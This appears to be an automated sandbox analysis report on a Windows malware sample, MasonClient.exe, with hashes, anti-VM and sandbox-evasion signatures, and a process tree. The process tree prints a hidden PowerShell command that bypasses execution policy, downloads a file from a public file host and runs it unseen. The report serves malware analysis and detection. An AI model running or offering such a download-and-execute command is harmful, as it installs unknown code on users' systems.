Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    30/06/2026, 03:59

General

  • Target
    MasonClient.exe
  • Size 310KB
  • Sample260630-ej8xesd19y
  • SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Checks BIOS information in registry
    • Maps connected drives based on registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4240

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_twgwi1jq.ueo.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twgwi1jq.ueo.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/492-0-0x0000000000BC0000-0x0000000000C14000-memory.dmp

        memory/492-1-0x0000000002D40000-0x0000000002D50000-memory.dmp

        memory/492-2-0x0000000002D00000-0x0000000002D08000-memory.dmp

        memory/492-13-0x0000000002D40000-0x0000000002D50000-memory.dmp

        memory/4240-4-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp

        memory/4240-3-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp

        memory/4240-11-0x0000026DEE140000-0x0000026DEE162000-memory.dmp

        memory/4240-12-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp

        memory/4240-14-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp

        memory/4240-15-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp

        memory/4240-16-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp